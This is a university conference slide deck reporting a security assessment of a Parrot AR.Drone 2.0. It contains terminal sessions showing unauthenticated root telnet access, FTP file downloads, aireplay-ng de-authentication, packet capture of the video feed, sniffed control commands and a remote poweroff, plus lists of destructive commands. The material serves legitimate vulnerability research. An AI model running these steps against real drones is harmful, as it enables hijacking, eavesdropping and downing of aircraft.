Aug 13th, 3:15 PM - 4:15 PM

sUAS: Cybersecurity Threats, Vulnerabilities, and Exploits

Philip Craiger  
*Embry-Riddle Aeronautical University*, craigerj@erau.edu

Gary Kessler  
*Embry-Riddle Aeronautical University*, kessleg1@erau.edu

William Rose  
*Embry-Riddle Aeronautical University*, rosew@erau.edu

Follow this and additional works at: [https://commons.erau.edu/ntas](https://commons.erau.edu/ntas)

Part of the [Aviation Safety and Security Commons](https://commons.erau.edu/ntas), and the [Information Security Commons](https://commons.erau.edu/ntas)

[https://commons.erau.edu/ntas/2018/presentations/9](https://commons.erau.edu/ntas/2018/presentations/9)

This Presentation is brought to you for free and open access by the Conferences at Scholarly Commons. It has been accepted for inclusion in National Training Aircraft Symposium (NTAS) by an authorized administrator of Scholarly Commons. For more information, please contact commons@erau.edu, wolf309@erau.edu.
sUAS: Cybersecurity Threats, Vulnerabilities, and Exploits

J. Philip Craiger, Ph.D., CISSP, CCFP, CEH
Gary C. Kessler, Ph.D., CCE, CISSP
Dept. of Security Studies and International Affairs

&

William E. Rose
Department of Aeronautical Sciences
Embry-Riddle Aeronautical University

Presentation for the 31st National Training Aircraft Symposium, Embry-Riddle Aeronautical University, Daytona Beach, FL, August 13, 2018
Components of Consumer Drones

- Common configurations include:
  - CPU/RAM
  - Wi-Fi/RF communications
  - Camera
  - Storage
  - Sensors
  - Aeronautical hardware
  - A controller for manual flight operations
Components of Consumer Drones

• Common configurations include:
  • CPU/RAM
  • Wi-Fi/RF communications
  • Camera
  • Storage
  • Sensors
  • Aeronautical hardware
  • A controller for manual flight operations
A drone is a flying computer ...
Caveats

• This is **preliminary research**, much more to come

• Experimenting with a **single, older (and no longer manufactured) drone** borrowed from Aeronautical Sciences

• Results are **not necessarily generalizable** to other drones

• This is a **replication and extension** of previously published research
Parrot AR.Drone 2.0
Step 1: Identify Vulnerabilities
<table>
<thead>
<tr>
<th>Sev</th>
<th>Name</th>
<th>Family</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CRITICAL</td>
<td>Solaris 10 Forced Login Telnet Authentication</td>
<td>Gain a shell remotely</td>
<td>1</td>
</tr>
<tr>
<td>CRITICAL</td>
<td>Unprotected Telnet Service</td>
<td>Gain a shell remotely</td>
<td>1</td>
</tr>
<tr>
<td>HIGH</td>
<td>FTP Privileged Port Bounce Scan</td>
<td>FTP</td>
<td>1</td>
</tr>
<tr>
<td>MEDIUM</td>
<td>Unencrypted Telnet Server</td>
<td>Misc.</td>
<td>1</td>
</tr>
<tr>
<td>LOW</td>
<td>DHCP Server Detection</td>
<td>Service detection</td>
<td>1</td>
</tr>
<tr>
<td>INFO</td>
<td>Nessus SYN scanner</td>
<td>Port scanners</td>
<td>4</td>
</tr>
<tr>
<td>INFO</td>
<td>Ethernet Card Manufacturer Detection</td>
<td>Misc.</td>
<td>1</td>
</tr>
<tr>
<td>INFO</td>
<td>FTP Server Detection</td>
<td>Service detection</td>
<td>1</td>
</tr>
<tr>
<td>Sev</td>
<td>Name</td>
<td>Family</td>
<td></td>
</tr>
<tr>
<td>-----</td>
<td>-------------------------------------------</td>
<td>-------------------------</td>
<td></td>
</tr>
<tr>
<td>CRITICAL</td>
<td>Solaris 10 Forced Login Authentication...</td>
<td>Gain a shell remotely</td>
<td></td>
</tr>
<tr>
<td>CRITICAL</td>
<td>Unprotected Telnet Service</td>
<td>Gain a shell remotely</td>
<td></td>
</tr>
<tr>
<td>HIGH</td>
<td>FTP Privileged Port Bounce Scan</td>
<td>FTP</td>
<td></td>
</tr>
<tr>
<td>MEDIUM</td>
<td>Unencrypted Telnet Server</td>
<td>Misc.</td>
<td></td>
</tr>
</tbody>
</table>
Telnet and FTP provide remote access to the drone ...
Connect directly via Wi-Fi

ATTACKER!

Controller

Wi-Fi
Connect to the Proxy

```
LittleBuddy:~ philipcraigerr$ ssh root@192.168.86.25
root@192.168.86.25's password:
Linux kali 4.9.59-v7_Re4son-Kali-Pi+ #1 SMP Tue Nov 21 00:36:47 CST 2017 armv7l
Dave Bowman: Hello, HAL. Do you read me, HAL?
HAL: Affirmative, Dave. I read you.
Dave Bowman: Open the pod bay doors, HAL.
HAL: I'm sorry, Dave. I'm afraid I can't do that.

Last login: Wed Jul 25 18:35:07 2018 from 192.168.86.34
root@kali:~#
```
Connect to the Proxy

```
LittleBuddy:~ philipcraiger$ ssh root@192.168.86.25
root@192.168.86.25's password:
Linux Kali 4.9.39-v7_Re4son-Kali-Pi+ #1 SMP Tue Nov 21 00:36:47 CST 2017 armv7l
Dave Bowman: Hello, HAL. Do you read me, HAL?
HAL: Affirmative, Dave. I read you.
Dave Bowman: Open the pod bay doors, HAL.
HAL: I'm sorry, Dave. I'm afraid I can't do that.

Last login: Wed Jul 25 18:35:07 2018 from 192.168.86.34
root@kali:~#
```
Connect to the Proxy

```
LittleBuddy:~ philipcraiger$ ssh root@192.168.86.25
root@192.168.86.25's password:
Linux kali 4.9.59–v7_Re4son–Kali–Pi+ #1 SMP Tue Nov 21 00:36:47 CST 2017 armv7l
Dave Bowman: Hello, HAL. Do you read me, HAL?
HAL: Affirmative, Dave. I read you.
Dave Bowman: Open the pod bay doors, HAL.
HAL: I'm sorry, Dave. I'm afraid I can't do that.
Last login: Wed Jul 25 18:35:07 2018 from 192.168.86.34
root@kali:~#
```
Connect to Drone from Proxy

```
root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
```

BusyBox v1.14.0 ( ) built-in shell (ash)
Enter 'help' for a list of built-in commands.

```
# ls
bin    dev    factory    home      licenses     proc   sbin   tmp   update  usr
data   etc    firmware   lib       mnt       root    sys    tmp   update  var
#  
```
Login from Raspberry PI to AR.Drone

```
root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is ']'.
```

Access doesn’t require a user ID or a password!!
Login from Raspberry PI to AR.Drone

I’m now running as ‘root’ which is the same as ‘Administrator’ under Windows (‘God’-like user)
Let’s snoop around to see what we can find ...
Destructive commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>rm</td>
<td>Remove file or directory</td>
</tr>
<tr>
<td>rmdir</td>
<td>Remove directory</td>
</tr>
<tr>
<td>kill</td>
<td>Kill a process</td>
</tr>
<tr>
<td>dd</td>
<td>Read/write bits (can overwrite a file)</td>
</tr>
</tbody>
</table>
# pwd
/sbin
# ls
arp
blkid
blkid-ng
devmem
fbsplash
fdisk
halt

hwclock
ifconfig
ifrename
init
insmod
iwconfig
iwgetid
iwlist
iwpriv
iwspy
klogd
lsmod
mdev
mkdosfs
mkfs.vfat
modprobe
mqueue
route
setconsole
switch_root
syscall
syslogd
udevadm
udev
udevd.sh
udevd_init
udhcpc
zcip

poweroff
reboot
Destructive commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>poweroff</td>
<td>Turn off the drone</td>
</tr>
<tr>
<td>halt</td>
<td>Turn off the drone</td>
</tr>
<tr>
<td>reboot</td>
<td>Reboot the drone</td>
</tr>
</tbody>
</table>
Let’s perform some attacks ...
Can we download/upload files from the drone?
(via File Transfer Protocol)
root@kali:~# **ftp 192.168.1.1**
Connected to 192.168.1.1.
220 Operation successful
Name (192.168.1.1:root):
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd boxes/flight_20180727_111805
250 Operation successful
ftp> ls
200 Operation successful
150 Directory listing
-rw-r--r-- 1 0 0 67363 Jul 27 2018 userbox_1532690285
226 Operation successful
ftp> mget userbox_1532690285
mget userbox_1532690285? y
200 Operation successful
150 Opening BINARY connection for userbox_1532690285 (67363 bytes)
226 Operation successful
67363 bytes received in 0.05 secs (1.2685 MB/s)
ftp> bye
221 Operation successful
root@kali:~#
root@kali:~# ftp 192.168.1.1
Connected to 192.168.1.1.
220 Operation successful
Name (192.168.1.1:root):
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd boxes/flight_20180727_111805
250 Operation successful
ftp> ls
200 Operation successful
150 Directory listing
-rw-r--r-- 1 0 0 67363 Jul 27 2018 userbox_1532690285
226 Operation successful
ftp> mget userbox_1532690285
mget userbox_1532690285? y
200 Operation successful
150 Opening BINARY connection for userbox_1532690285 (67363 bytes)
226 Operation successful
67363 bytes received in 0.05 secs (1.2685 MB/s)
ftp> bye
221 Operation successful
root@kali:~#
root@kali:~# ftp 192.168.1.1
Connected to 192.168.1.1.
220 Operation successful
Name (192.168.1.1:root): 
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd boxes/flight_20180727_111805
250 Operation successful
ftp> ls
200 Operation successful
150 Directory listing
-rw-r--r-- 1 0 0 67363 Jul 27 2018 userbox_1532690285
226 Operation successful
ftp> mget userbox_1532690285
mget userbox_1532690285? y
200 Operation successful
150 Opening BINARY connection for userbox_1532690285 (67363 bytes)
226 Operation successful
67363 bytes received in 0.05 secs (1.2685 MB/s)
ftp> bye
221 Operation successful
root@kali:~#
Connected to 192.168.1.1.
220 Operation successful
Name (192.168.1.1:root):
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> cd boxes/flight_20180727_111805
250 Operation successful

ftp> ls
200 Operation successful
150 Directory listing
-rw-r--r-- 1 0 0 67363 Jul 27 2018 userbox_1532690285
226 Operation successful

ftp> mget userbox_1532690285
mget userbox_1532690285? y
200 Operation successful
150 Opening BINARY connection for userbox 1532690285 (67363 bytes)
226 Operation successful
67363 bytes received in 0.05 secs (1.2685 MB/s)

ftp> bye
221 Operation successful

root@kali:~#
Connected to 192.168.1.1.
220 Operation successful
Name (192.168.1.1:root):
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> cd boxes/flight_20180727_111805
250 Operation successful
ftp> ls
200 Operation successful
150 Directory listing
-rw-r--r-- 1 0 0 67363 Jul 27 2018 userbox_1532690285
226 Operation successful
ftp> mget userbox_1532690285
mget userbox_1532690285? y
200 Operation successful
150 Opening BINARY connection for userbox_1532690285 (67363 bytes)
226 Operation successful
67363 bytes received in 0.05 secs (1.2685 MB/s)
ftp> bye
221 Operation successful
root@kali:~#
Denial-of-Service through De-authentication ...
(like hanging up a phone call)
ATTACKER!
Drone MAC
Controller MAC
Wireless NIC on Proxy

Command
Send de-auth packet

```bash
```
ATTACKER!

Connect

Proxy

Hang up!

Controller
root@kali:~# aireplay-ng -0 1 -a 90:03:b7:38:33:9c -c ac:37:43:a4:56:65 wlan0
ioctl(SIOCSIWMODE) failed: Device or resource busy
14:00:29 Waiting for beacon frame (BSSID: 90:03:B7:38:33:9C) on channel 6
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 0 ] 0
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 0 ] 1
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 0 ] 2
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 1 ] 2
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 2 ] 2
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 3 ] 2
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 4 ] 2
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 4 ] 3
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 5 ] 3
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 5 ] 4
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 6 ] 4
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 7 ] 4
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 8 ] 4
14:00:30 Sending 64 directed DeAuth (code 7). STMAC: [AC:37:43:A4:56:65] [ 9 ] 4
CONTROL LINK NOT AVAILABLE
Can we eavesdrop?
Let’s listen in on the video feed ...
Capture the communications from the drone on the video channel.
root@kali:~# ifconfig wlan0 down
root@kali:~# iwconfig wlan0 mode monitor
root@kali:~# ifconfig wlan0 up
root@kali:~# tcpdump -i wlan0 '((port 5555) and (ether src host 90:03:B7:38:33:9C))' -w video.pcap

2253 packets received by filter
8 packets dropped by kernel
193 packets dropped by interface

'((port 5555) and (ether src host 90:03:B7:38:33:9C))'
<table>
<thead>
<tr>
<th>No</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.00000</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=1 Ack=1 Win=1448 Len=1448 TSval=11806 TSecr=16190189</td>
</tr>
<tr>
<td>2</td>
<td>0.00416</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=297 Ack=1 Win=1448 Len=1448 TSval=11806 TSecr=16190189</td>
</tr>
<tr>
<td>3</td>
<td>0.00810</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=3435 Ack=1 Win=1448 Len=1077 TSval=11806 TSecr=16190189</td>
</tr>
<tr>
<td>4</td>
<td>0.00847</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=4678 Ack=1 Win=1448 Len=1448 TSval=11904 TSecr=16190189</td>
</tr>
<tr>
<td>5</td>
<td>0.00889</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=9318 Ack=1 Win=1448 Len=1448 TSval=11904 TSecr=16190189</td>
</tr>
<tr>
<td>6</td>
<td>0.01265</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1326</td>
<td>5555 - 48649 [ACK] Seq=9766 Ack=1 Win=1448 Len=1219 TSval=11904 TSecr=16190189</td>
</tr>
<tr>
<td>7</td>
<td>0.01925</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=19095 Ack=1 Win=1448 Len=1448 TSval=11999 TSecr=16190229</td>
</tr>
<tr>
<td>8</td>
<td>0.04874</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=12433 Ack=1 Win=1448 Len=1448 TSval=11999 TSecr=16190229</td>
</tr>
<tr>
<td>9</td>
<td>0.10523</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=13801 Ack=1 Win=1448 Len=1448 TSval=11999 TSecr=16190229</td>
</tr>
<tr>
<td>10</td>
<td>0.10531</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=15329 Ack=1 Win=1448 Len=387 TSval=11999 TSecr=16190229</td>
</tr>
<tr>
<td>11</td>
<td>0.10577</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=15716 Ack=1 Win=1448 Len=12805 TSval=16190242</td>
</tr>
<tr>
<td>12</td>
<td>0.15217</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 - 48649 [ACK] Seq=15716 Ack=1 Win=1448 Len=12805 TSval=16190242</td>
</tr>
</tbody>
</table>

Frame 1: 1555 bytes on wire (12448 bits), 1555 bytes captured (12448 bits)

IEEE 802.11 QoS Data, Flags: ....F.


Data (1448 bytes)
<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.0000000</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>2</td>
<td>0.0000416</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>3</td>
<td>0.001876</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>4</td>
<td>0.004873</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>5</td>
<td>0.060886</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>6</td>
<td>0.061266</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>7</td>
<td>0.061580</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>8</td>
<td>0.061925</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1326</td>
<td>5555 → 48649 [PSH, ACK]</td>
</tr>
<tr>
<td>9</td>
<td>0.104794</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>10</td>
<td>0.105230</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>11</td>
<td>0.105531</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
<tr>
<td>12</td>
<td>0.105770</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>494</td>
<td>5555 → 48649 [PSH, ACK]</td>
</tr>
<tr>
<td>13</td>
<td>0.152127</td>
<td>192.168.1.1</td>
<td>192.168.1.2</td>
<td>TCP</td>
<td>1555</td>
<td>5555 → 48649 [ACK]</td>
</tr>
</tbody>
</table>
Video frames are wrapped by Parrot Video Encapsulation (PaVE), proprietary encapsulation format
Still working on ‘unwrapping’ the video...
Let’s eavesdrop on ALL of the communications...
AT commands are instructions to control the drone.
AT*PCMD_MAG=3586, 4, 0, 0, 0, 0, 0, 1056218954, 0
AT*REF=3587, 290717696
AT*PCMD_MAG=4218, 4, 0, 0, 0, 0, 0, 1055473300, 0
AT*REF=4219, 290718208
AT*PCMD_MAG=4222, 4, 0, 0, 0, 0, 0, 1054727646, 0
AT*REF=4223, 290718208

- AT*REF (input) - Takeoff/Landing/Emergency stop command
- AT*PCMD (flag, roll, pitch, gaz, yaw) - Move the drone
- AT*PCMD_MAG (flag, roll, pitch, gaz, yaw, psi, psi accuracy) - Move the drone (With Absolute Control
Finally, let’s turn the d*mn thing off
[root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.14.0 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

# poweroff
# Connection closed by foreign host.
root@kali:~#
Connected to 192.168.1.1.

BusyBox v1.14.0 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

# poweroff
# Connection closed by foreign host.
root@kali:~#
```
[root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.14.0 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

# poweroff
# Connection closed by foreign host.
root@kali:~# ```
[root@kali:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.14.0 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

# poweroff
# Connection closed by foreign host.
root@kali:~#
# poweroff

Connection closed by foreign host.
CONTROL LINK NOT AVAILABLE
Conclusions

• Using it’s default settings, the AR.Drone 2.0 has several security vulnerabilities
  • No authentication (username/password)
  • Commands are run as root (“God”)  
  • Eavesdrop: No encryption of the data and controller links
  • Denial-of-service through de-authentication or poweroff
  • Issues with system integrity as many destructive Linux commands are available
  • Files can be downloaded and uploaded to/from the drone
Future Research

• Implement other exploits on the AR.Drone
  • GPS jamming and/or spoofing
    • Jamming is illegal ... FCC “no muy bueno” ...
  • MITM
    • Unwrap the PaVE video

• Vulnerability assessments on other drones
  • Parrot
  • DJI
Thanks!

• ERAU FIRST grant program
  • Dr. Michael Hickey
  • Reviewers
  • Nancy McCaffrey

• Aeronautical Sciences
  • Dr. Michael Wiggins
  • William E. Rose

• Security Studies and International Affairs
  • Dr. Gary Kessler

• Electrical, Computer, Software and Systems Engineering
  • Dr. Tim Wilson

• NTAS
  • Nancy Riedel
Questions?